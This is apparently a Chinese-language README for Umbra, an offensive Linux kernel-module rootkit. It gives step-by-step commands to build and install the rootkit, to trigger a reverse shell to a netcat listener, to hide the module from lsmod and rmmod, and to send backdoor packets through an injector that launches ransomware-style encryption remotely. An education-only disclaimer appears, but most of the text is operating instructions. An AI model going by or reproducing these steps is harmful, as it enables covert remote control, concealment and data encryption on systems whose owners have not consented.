
Umbra 是一个实验性的远程可控 LKM rootkit,适用于 4.x 和 5.x(最高至 5.7)内核。它通过打开网络后门,可以向远程主机发起反弹 shell、远程启动恶意软件等。
该 rootkit 仍在开发中,但以下列出的功能已完全可用。

注意:此 rootkit 是在内核 5.4.0 和 Ubuntu 18.04 上开发并测试的。

更多功能将在后续更新中加入。
此 rootkit 仅供教育目的。我对因非预期使用而造成的任何损害概不负责。
另请注意,Umbra 仅包含轻量级的隐藏和保护机制。不适用于真实场景。
重要提示: 如果您要在自己的机器上测试此 rootkit,我强烈建议使用虚拟机。
关于 Umbra 模块: 勒索模块使用简单的加密机制,但它确实会加密您机器上的任何文件夹。虽然文件可以轻松解密,但我绝对不建议对根目录或类似目录运行此模块,除非在受控环境中。
请确保您拥有 4.x 或 5.x 内核。
apt install linux-headers-$(uname -r)
配置您的包含路径,使其覆盖内核头文件目录(通常位于 /usr/src)。如果您使用 vscode,可以查看 .vscode/c_cpp_properties.json 以了解需要包含哪些目录的示例。
克隆项目
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
make
sudo ./install.sh
如果您之前运行过该脚本,现在只想将 Umbra 安装到内核中,可以运行:
sudo insmod ./umbra.ko
确保 Umbra 未处于隐藏模式,否则卸载会失败。
sudo rmmod umbra
kill -50 1
在构建 rootkit 之前,在 CONFIG.H 中设置您想要的 IP 和端口。默认值为 127.0.0.1:5888
在远程主机上开始监听。
nc -lvp 5888
kill -51 1
注意:Umbra 也会在加载时尝试启动反弹 shell。
这将阻止 rootkit 被 lsmod 等命令显示,以及通过 rmmod 移除。
kill -52 1
如果隐身模式已激活,此操作将恢复到正常状态。
kill -53 1
Umbra Injector 可以在 Umbra 安装之前运行(从而在安装后立即获得 shell),也可以在 Umbra 已安装到目标系统后运行。
./injector -S 127.0.0.1
后门会监听包含以下负载的数据包:
UMBRA_PAYLOAD_GET_REVERSE_SHELL
您也可以使用我的库 RawTCP 构建自己的 injector。
这将阻止 rootkit 被 lsmod 等命令显示,以及通过 rmmod 移除。
./injector -i 127.0.0.1
如果隐身模式已激活,此操作将恢复到正常状态。
./injector -u 127.0.0.1
您可以通过以下命令查看运行 Umbra Injector 的完整信息:
./injector -h
Umbra 模块将由 install.sh 脚本存放在 /tmp/umbra 目录中,Umbra 会将其隐藏。该目录不会被 ls 等命令看到。
此模块可通过 Umbra Injector 发起类似勒索软件的远程攻击。加密后的文件会出现 .ubr 扩展名。
目前加密机制只是一个简单的位级 NOP,作为概念验证。您可以修改模块以包含自己的加密算法。
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1
此 rootkit 的开发涉及大量关于 LKM 和 rootkit 技术的研究。以下是我使用的部分资源列表(不完整): 如何创建 LKM:
Linux 系统调用参考:
一些 rootkit 参考:
本项目采用 GPLv2 许可证。详见 LICENSE